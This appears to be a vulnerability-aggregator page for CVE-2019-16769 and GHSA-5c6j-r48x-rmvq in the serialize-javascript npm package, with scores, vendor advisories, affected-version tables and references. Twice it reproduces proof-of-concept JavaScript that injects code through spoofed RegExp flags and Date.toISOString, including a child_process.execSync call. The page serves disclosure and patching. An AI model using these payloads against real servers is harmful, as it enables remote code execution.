CVE-2019-16769
Affected versions of serialize-javascript are vulnerable to Cross-site Scripting (XSS)
The serialize-javascript npm package before version 2.1.1 is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
4.2
Affected versions of serialize-javascript are vulnerable to Cross-site Scripting (XSS)
The serialize-javascript npm package before version 2.1.1 is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.
- Record
CVE-2019-16769- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2019-0792
4.2
The serialize-javascript npm package before version 2.1.1 is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.
- Record
EUVD-2019-0792- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-5c6j-r48x-rmvq
8.1
Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()
Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().
If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
- Record
GHSA-5c6j-r48x-rmvq- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-96
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-h9rv-jmmf-4pgx
4.2
Cross-Site Scripting in serialize-javascript
Versions of serialize-javascript prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.
Recommendation
Upgrade to version 2.1.1 or later.
- Record
GHSA-h9rv-jmmf-4pgx- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
4.2
The serialize-javascript npm package before version 2.1.1 is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.
- Record
CVE-2019-16769- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L - CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - CVSS 2.0
- 3.5 Low
AV:N/AC:M/Au:S/C:N/I:P/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
5.4
The serialize-javascript npm package before version 2.1.1 is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.
- Record
CVE-2019-16769- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
Show 17 moreShow less
OSVGHSA-5c6j-r48x-rmvq
8.1
Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()
Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().
If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
- Record
GHSA-5c6j-r48x-rmvq- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-96
- Updated
- 2026-11-02
OSVGHSA-h9rv-jmmf-4pgx
4.2
Cross-Site Scripting in serialize-javascript
Versions of serialize-javascript prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.
Recommendation
Upgrade to version 2.1.1 or later.
- Record
GHSA-h9rv-jmmf-4pgx- CVSS 3.1
- 4.2 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVRHSA-2020:2796
8.2
Red Hat Security Advisory: Red Hat OpenShift Service Mesh servicemesh-grafana security update
- Record
RHSA-2020:2796- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1773447385 No score
TuxCare security update for serialize-javascript (1 CVE)
TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 6.0.2-tuxcare.1.
- Record
CLSA-2026-1773447385- Updated
- 2026-11-02
OSVCLSA-2026-1774311647 No score
TuxCare security update for formidable (4 CVEs)
TuxCare rebuilt formidable to address 4 CVEs. Fixed in 2.1.2-tuxcare.1.
- Record
CLSA-2026-1774311647- Updated
- 2026-11-02
OSVCLSA-2026-1774398069 No score
TuxCare security update for serialize-javascript (2 CVEs)
TuxCare rebuilt serialize-javascript to address 2 CVEs. Fixed in 1.9.1-tuxcare.1.
- Record
CLSA-2026-1774398069- Updated
- 2026-11-02
OSVCLSA-2026-1774916711 No score
TuxCare security update for serialize-javascript (1 CVE)
TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 5.0.1-tuxcare.1.
- Record
CLSA-2026-1774916711- Updated
- 2026-11-02
OSVCLSA-2026-1774916712 No score
TuxCare security update for serialize-javascript (1 CVE)
TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 4.0.0-tuxcare.1.
- Record
CLSA-2026-1774916712- Updated
- 2026-11-02
OSVCLSA-2026-1774916713 No score
TuxCare security update for serialize-javascript (1 CVE)
TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 3.1.0-tuxcare.1.
- Record
CLSA-2026-1774916713- Updated
- 2026-11-02
OSVCLSA-2026-1776213251 No score
TuxCare security update for serialize-javascript (3 CVEs)
TuxCare rebuilt serialize-javascript to address 3 CVEs. Fixed in 2.1.2-tuxcare.1.
- Record
CLSA-2026-1776213251- Updated
- 2026-11-02
OSVCLSA-2026-1787823934 No score
TuxCare security update for tar (4 CVEs)
TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.0.2-tuxcare.1.
- Record
CLSA-2026-1787823934- Updated
- 2026-11-02
OSVCLSA-2026-1793789998 No score
TuxCare security update for serialize-javascript (3 CVEs)
TuxCare rebuilt serialize-javascript to address 3 CVEs. Fixed in 3.0.0-tuxcare.1.
- Record
CLSA-2026-1793789998- Updated
- 2026-11-04
OSVCLSA-2026-1793790397 No score
TuxCare security update for serialize-javascript (1 CVE)
TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 7.0.2-tuxcare.1.
- Record
CLSA-2026-1793790397- Updated
- 2026-11-04
OSVROOT-APP-NPM-CVE-2019-16769 No score
CVE-2019-16769 in @rootio/serialize-javascript - Patched by Root
Root has patched CVE-2019-16769 in the @rootio/serialize-javascript package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2019-16769- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-5c6j-r48x-rmvq No score
GHSA-5c6j-r48x-rmvq in serialize-javascript - Patched by Root
Root has patched GHSA-5c6j-r48x-rmvq in the serialize-javascript package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-5c6j-r48x-rmvq- Updated
- 2026-11-02
OSVSUSE-RU-2020:0671-1 No score
Recommended update for SUSE Manager Proxy 4.0
This update fixes the following issues:
mgr-osad:
- Take care that osad is not disabled nor deactivated during update (bsc#1157700, bsc#1158697)
patterns-suse-manager:
- Add recommends for virtualization-host-formula to suma_server pattern
- Add recommends for virtualization-host-formula to retail
spacecmd:
- Bugfix: attempt to purge SSM when it is empty (bsc#1155372)
spacewalk-backend:
- Fix mgrcfg-client python3 breakage (bsc#1164309)
- Update doc link to point to new documentation server
- Prevent timestamp format exception on mgr-inter-sync while processing comps (bsc#1157346)
- When downloading repo metadata, don't add '/' to the repo url if it already ends with one (bsc#1158899)
- Use HTTP proxy settings when fetching the mirrorlist on spacewalk-repo-sync (bsc#1159076)
- Enhance suseProducts via ISS to fix SP migration on slave server (bsc#1159184)
- Prevent a traceback when reposyncing openSUSE 15.1 (bsc#1158672)
- Close config files after reading them (bsc#1158283)
- Associate VMs and systems with the same machine ID at bootstrap (bsc#1144176)
spacewalk-certs-tools:
- Add 'start_event_grains' minion option to configfile when generated by bootstrap script
- Forbid multiple activation keys for salt minions during bootstrap (bsc#1164452)
- Add additional minion options to configfile when generated by bootstrap script (bsc#1159492)
- Change the order to check the version correctly for RES (bsc#1152795)
spacewalk-client-tools:
- Spell correctly 'successful' and 'successfully'
spacewalk-web:
- Don't validate mandatory fields that are not visible (bsc#1158943)
- Fix count of changes to build (bsc#1160940)
- Report merge_subscriptions message in a readable way (bsc#1140332)
- Fix ordering by date (bsc#1158818)
supportutils-plugin-susemanager-client:
- Rename rhncfg-actions to mgr-cfg-actions
supportutils-plugin-susemanager-proxy:
- Rename rhncfg-actions to mgr-cfg-actions
How to apply this update:
- Log in as root user to the SUSE Manager proxy.
- Stop the proxy service: spacewalk-proxy stop
- Apply the patch using either zypper patch or YaST Online Update.
- Start the Spacewalk service: spacewalk-proxy start
- Record
SUSE-RU-2020:0671-1- Updated
- 2026-11-02
OSVSUSE-SU-2020:0671-1 No score
Security update for SUSE Manager Server 4.0
This update fixes the following issues:
branch-network-formula:
- Update formula to include terminal naming and identification
image-sync-formula:
- Prevent installing xdelta3 package and disable delta functionality on SLE12 branch servers (bsc#1159553)
mgr-osad:
- Take care that osad is not disabled nor deactivated during update (bsc#1157700, bsc#1158697)
patterns-suse-manager:
- Add recommends for virtualization-host-formula to suma_server pattern
- Add recommends for virtualization-host-formula to retail
prometheus-formula:
- Bugfix: disabled fields not enabled when checkbox is checked
pxe-default-image-sle15:
- Adapt to new kiwi version to fix pre registration in the bare-metal image (bsc#1153269)
pxe-formula:
- Add support for new features in terminal naming
- Remove branch_id from pxe form, moved to branch-network form
py26-compat-salt:
- Replace pycrypto with M2Crypto as dependency for SLE15+
python-susemanager-retail:
- Add support for terminal naming block
- Add delta support for SLE15 tar.xz bundles
redstone-xmlrpc:
- Disable external entity parsing (1790381, bsc#1164120, CVE-2020-1693)
- Do not download external entities (1555429, bsc#1085414, CVE-2018-1077)
salt-netapi-client:
- Version 0.17.0 See: https://github.com/SUSE/salt-netapi-client/releases/tag/v0.17.0
spacecmd:
- Bugfix: attempt to purge SSM when it is empty (bsc#1155372)
spacewalk-admin:
- Spell correctly 'successful' and 'successfully'
spacewalk-backend:
- Fix mgrcfg-client python3 breakage (bsc#1164309)
- Update doc link to point to new documentation server
- Prevent timestamp format exception on mgr-inter-sync while processing comps (bsc#1157346)
- When downloading repo metadata, don't add '/' to the repo url if it already ends with one (bsc#1158899)
- Use HTTP proxy settings when fetching the mirrorlist on spacewalk-repo-sync (bsc#1159076)
- Enhance suseProducts via ISS to fix SP migration on slave server (bsc#1159184)
- Prevent a traceback when reposyncing openSUSE 15.1 (bsc#1158672)
- Close config files after reading them (bsc#1158283)
- Associate VMs and systems with the same machine ID at bootstrap (bsc#1144176)
spacewalk-certs-tools:
- Add 'start_event_grains' minion option to configfile when generated by bootstrap script
- Forbid multiple activation keys for salt minions during bootstrap (bsc#1164452)
- Add additional minion options to configfile when generated by bootstrap script (bsc#1159492)
- Change the order to check the version correctly for RES (bsc#1152795)
spacewalk-client-tools:
- Spell correctly 'successful' and 'successfully'
system-lock-formula:
- Clarified terms along documentation and product (bsc#1166061)
spacewalk-java:
- Feat: enable Salt system lock when CaaSP node is onboarded and add depedency to 'system-lock-formula' (bsc#1165541)
- Support non discoverable fqdns via custom grain (bsc#1155281)
- Handle the non-existent requested grains gracefully
- Get the machineid grain from the minion startup event
- Use term 'patch' instead of 'errata' (bsc#1164649)
- Enable provisioning API with salt and bootstrap entitled systems
- Fix a problem with removing the monitoring entitlement from a system
- Improve performance when adding systems to system groups (bsc#1158754)
- Migrate pillar and formula data on minion id change (bsc#1161755)
- Change doc links pointing to new documentation server
- Call saltutil.sync_all before calling highstate (bsc#1152673)
- Exclude base products from PAYG (Pay-As-You-Go) instances when doing subscription matching
- Show additional headers and dependencies for deb packages
- Show adequate message on saving formulas that change only pillar data
- Fix mgr-sync add channel when fromdir is configured (bsc#1160184)
- Handle not found re-activation key (bsc#1159012)
- Write a list of formulas sorted by execution order (bsc#1083326)
- Use channel name from product tree instead of constructing it (bsc#1157317)
- Read the subscriptions from the output…
- Record
SUSE-SU-2020:0671-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
serialize-javascriptnpm |
through 7.0.2 | 7.0.3 |
serialize-javascriptnpm |
before 2.1.1 | 2.1.1 |
serialize-javascriptTuxCare:npm |
6.0.2-tuxcare.0 up to 6.0.2-tuxcare.1, plus listed versions 6.0.2 |
6.0.2-tuxcare.1 |
serialize-javascriptTuxCare:npm |
1.9.1-tuxcare.0 up to 1.9.1-tuxcare.1, plus listed versions 1.9.1 |
1.9.1-tuxcare.1 |
serialize-javascriptTuxCare:npm |
5.0.1-tuxcare.0 up to 5.0.1-tuxcare.1, plus listed versions 5.0.1 |
5.0.1-tuxcare.1 |
serialize-javascriptTuxCare:npm |
4.0.0-tuxcare.0 up to 4.0.0-tuxcare.1, plus listed versions 4.0.0 |
4.0.0-tuxcare.1 |
serialize-javascriptTuxCare:npm |
3.1.0-tuxcare.0 up to 3.1.0-tuxcare.1, plus listed versions 3.1.0 |
3.1.0-tuxcare.1 |
serialize-javascriptTuxCare:npm From an advisory covering 2 CVEs |
2.1.2-tuxcare.0 up to 2.1.2-tuxcare.1, plus listed versions 2.1.2 |
2.1.2-tuxcare.1 |
serialize-javascriptTuxCare:npm From an advisory covering 2 CVEs |
3.0.0-tuxcare.0 up to 3.0.0-tuxcare.1, plus listed versions 3.0.0 |
3.0.0-tuxcare.1 |
serialize-javascriptTuxCare:npm |
7.0.2-tuxcare.0 up to 7.0.2-tuxcare.1, plus listed versions 7.0.2 |
7.0.2-tuxcare.1 |
Show 46 moreShow less
| Package | Affected | Fixed |
|---|---|---|
serialize-javascriptnpm |
before 7.0.3 | 7.0.3 |
servicemesh-grafanaRed Hat:service_mesh:1.1::el8 From an advisory covering 8 CVEs |
before 0:6.4.3-11.el8 | 0:6.4.3-11.el8 |
servicemesh-grafana-prometheusRed Hat:service_mesh:1.1::el8 From an advisory covering 8 CVEs |
before 0:6.4.3-11.el8 | 0:6.4.3-11.el8 |
@rootio/serialize-javascriptRoot:npm |
before 1.9.1-root.io.2 | 1.9.1-root.io.2 |
serialize-javascriptRoot:npm |
before 1.9.1-aikido.2 | 1.9.1-aikido.2 |
serialize-javascriptRoot:npm |
before 4.0.0-aikido.2 | 4.0.0-aikido.25.0.1-aikido.21.9.1-aikido.11.9.1-aikido.26.0.1-aikido.13.1.0-aikido.1 |
@rootio/serialize-javascriptRoot:npm |
before 4.0.0-root.io.2 | 4.0.0-root.io.25.0.1-root.io.16.0.2-root.io.16.0.2-root.io.24.0.0-root.io.15.0.1-root.io.21.9.1-root.io.11.9.1-root.io.26.0.1-root.io.13.1.0-root.io.1 |
mgr-osadSUSE:Manager Proxy Module 4.0 From an advisory covering 3 CVEs |
before 4.0.11-3.9.2 | 4.0.11-3.9.2 |
patterns-suse-managerSUSE:Manager Proxy Module 4.0 From an advisory covering 3 CVEs |
before 4.0-9.10.2 | 4.0-9.10.2 |
spacecmdSUSE:Manager Proxy Module 4.0 From an advisory covering 3 CVEs |
before 4.0.18-3.13.2 | 4.0.18-3.13.2 |
spacewalk-backendSUSE:Manager Proxy Module 4.0 From an advisory covering 3 CVEs |
before 4.0.30-3.23.3 | 4.0.30-3.23.3 |
spacewalk-certs-toolsSUSE:Manager Proxy Module 4.0 From an advisory covering 3 CVEs |
before 4.0.15-3.15.2 | 4.0.15-3.15.2 |
spacewalk-client-toolsSUSE:Manager Proxy Module 4.0 From an advisory covering 3 CVEs |
before 4.0.12-3.13.2 | 4.0.12-3.13.2 |
spacewalk-webSUSE:Manager Proxy Module 4.0 From an advisory covering 3 CVEs |
before 4.0.19-3.18.3 | 4.0.19-3.18.3 |
supportutils-plugin-susemanager-clientSUSE:Manager Proxy Module 4.0 From an advisory covering 3 CVEs |
before 4.0.3-3.3.2 | 4.0.3-3.3.2 |
supportutils-plugin-susemanager-proxySUSE:Manager Proxy Module 4.0 From an advisory covering 3 CVEs |
before 4.0.3-3.3.2 | 4.0.3-3.3.2 |
branch-network-formulaSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 0.1.1580471316.1839544-3.10.2 | 0.1.1580471316.1839544-3.10.2 |
image-sync-formulaSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 0.1.1579102150.4716559-3.11.2 | 0.1.1579102150.4716559-3.11.2 |
mgr-osadSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.11-3.9.2 | 4.0.11-3.9.2 |
patterns-suse-managerSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0-9.10.2 | 4.0-9.10.2 |
prometheus-formulaSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 0.1-4.7.2 | 0.1-4.7.2 |
pxe-default-image-sle15SUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.1-20200305173027 | 4.0.1-20200305173027 |
pxe-formulaSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 0.1.1580384994.6076a7e-3.11.2 | 0.1.1580384994.6076a7e-3.11.2 |
py26-compat-saltSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 2016.11.10-10.11.2 | 2016.11.10-10.11.2 |
python-susemanager-retailSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 1.0.1580471316.1839544-3.13.2 | 1.0.1580471316.1839544-3.13.2 |
redstone-xmlrpcSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 1.1_20071120-0.11.3.2 | 1.1_20071120-0.11.3.2 |
salt-netapi-clientSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 0.17.0-4.3.2 | 0.17.0-4.3.2 |
spacecmdSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.18-3.13.2 | 4.0.18-3.13.2 |
spacewalk-adminSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.9-3.6.2 | 4.0.9-3.6.2 |
spacewalk-backendSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.30-3.23.3 | 4.0.30-3.23.3 |
spacewalk-certs-toolsSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.15-3.15.2 | 4.0.15-3.15.2 |
spacewalk-client-toolsSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.12-3.13.2 | 4.0.12-3.13.2 |
spacewalk-javaSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.31-3.23.1 | 4.0.31-3.23.1 |
spacewalk-searchSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.9-3.11.2 | 4.0.9-3.11.2 |
spacewalk-setupSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.13-3.11.1 | 4.0.13-3.11.1 |
spacewalk-utilsSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.16-3.15.2 | 4.0.16-3.15.2 |
spacewalk-webSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.19-3.18.3 | 4.0.19-3.18.3 |
subscription-matcherSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 0.25-3.3.2 | 0.25-3.3.2 |
susemanagerSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.22-3.20.3 | 4.0.22-3.20.3 |
susemanager-doc-indexesSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0-10.18.2 | 4.0-10.18.2 |
susemanager-docs_enSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0-10.18.2 | 4.0-10.18.2 |
susemanager-schemaSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.18-3.17.2 | 4.0.18-3.17.2 |
susemanager-slsSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.24-3.17.2 | 4.0.24-3.17.2 |
susemanager-sync-dataSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 4.0.16-3.15.2 | 4.0.16-3.15.2 |
system-lock-formulaSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 0.2-4.5.1 | 0.2-4.5.1 |
virtualization-host-formulaSUSE:Manager Server Module 4.0 From an advisory covering 3 CVEs |
before 0.2-4.3.2 | 0.2-4.3.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected, aliases, facts | OSV | |
| affected | ||
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2019-16769 is a medium vulnerability (CVSS 4.2) in Verizon Serialize-javascript, published December 5, 2019. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.80%, the 56th percentile. Fixed in serialize-javascript 7.0.3.
References
github.com/yahoo/serialize-javascript/security/advisories/GHSA-h9rv-jmmf-4pgx
github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq
nvd.nist.gov/vuln/detail/CVE-2020-7660
github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9
github.com/advisories/GHSA-hxcc-f52p-wc94
github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
Show 101 moreShow less
github.com/advisories/GHSA-5c6j-r48x-rmvq
nvd.nist.gov/vuln/detail/CVE-2019-16769
github.com/advisories/GHSA-h9rv-jmmf-4pgx
npmjs.com/advisories/1426
github.com/yahoo/serialize-javascript
access.redhat.com/errata/RHSA-2020:2796
access.redhat.com/security/updates/classification
bugzilla.redhat.com/show_bug.cgi?id=1757701
bugzilla.redhat.com/show_bug.cgi?id=1843640
bugzilla.redhat.com/show_bug.cgi?id=1844228
bugzilla.redhat.com/show_bug.cgi?id=1845982
bugzilla.redhat.com/show_bug.cgi?id=1848089
bugzilla.redhat.com/show_bug.cgi?id=1848092
bugzilla.redhat.com/show_bug.cgi?id=1848108
bugzilla.redhat.com/show_bug.cgi?id=1848643
security.access.redhat.com/data/csaf/v2/advisories/2020/rhsa-2020_2796.json
access.redhat.com/security/cve/CVE-2019-11253
cve.org/CVERecord?id=CVE-2019-11253
nvd.nist.gov/vuln/detail/CVE-2019-11253
stackrox.com/post/2019/09/protecting-kubernetes-api-against-cve-2019-11253-billion-laughs-attack
access.redhat.com/security/cve/CVE-2019-16769
cve.org/CVERecord?id=CVE-2019-16769
access.redhat.com/security/cve/CVE-2020-7660
cve.org/CVERecord?id=CVE-2020-7660
access.redhat.com/security/cve/CVE-2020-7662
cve.org/CVERecord?id=CVE-2020-7662
nvd.nist.gov/vuln/detail/CVE-2020-7662
github.com/faye/websocket-extensions-node/security/advisories/GHSA-g78m-2chm-r7qv
access.redhat.com/security/cve/CVE-2020-12052
cve.org/CVERecord?id=CVE-2020-12052
nvd.nist.gov/vuln/detail/CVE-2020-12052
access.redhat.com/security/cve/CVE-2020-12245
cve.org/CVERecord?id=CVE-2020-12245
nvd.nist.gov/vuln/detail/CVE-2020-12245
access.redhat.com/security/cve/CVE-2020-13379
cve.org/CVERecord?id=CVE-2020-13379
nvd.nist.gov/vuln/detail/CVE-2020-13379
grafana.com/blog/2020/06/03/grafana-6.7.4-and-7.0.2-released-with-important-security-fix
openwall.com/lists/oss-security/2020/06/09/2
access.redhat.com/security/cve/CVE-2020-13430
cve.org/CVERecord?id=CVE-2020-13430
nvd.nist.gov/vuln/detail/CVE-2020-13430
suse.com/support/update/announcement/-2020-671/suse-ru-20200671-1
bugzilla.suse.com/1083326
bugzilla.suse.com/1085414
bugzilla.suse.com/1121640
bugzilla.suse.com/1123274
bugzilla.suse.com/1137248
bugzilla.suse.com/1140332
bugzilla.suse.com/1144176
bugzilla.suse.com/1152673
bugzilla.suse.com/1152795
bugzilla.suse.com/1153269
bugzilla.suse.com/1154246
bugzilla.suse.com/1154590
bugzilla.suse.com/1154599
bugzilla.suse.com/1155281
bugzilla.suse.com/1155372
bugzilla.suse.com/1156751
bugzilla.suse.com/1157317
bugzilla.suse.com/1157346
bugzilla.suse.com/1157447
bugzilla.suse.com/1157700
bugzilla.suse.com/1157975
bugzilla.suse.com/1158178
bugzilla.suse.com/1158181
bugzilla.suse.com/1158283
bugzilla.suse.com/1158480
bugzilla.suse.com/1158564
bugzilla.suse.com/1158672
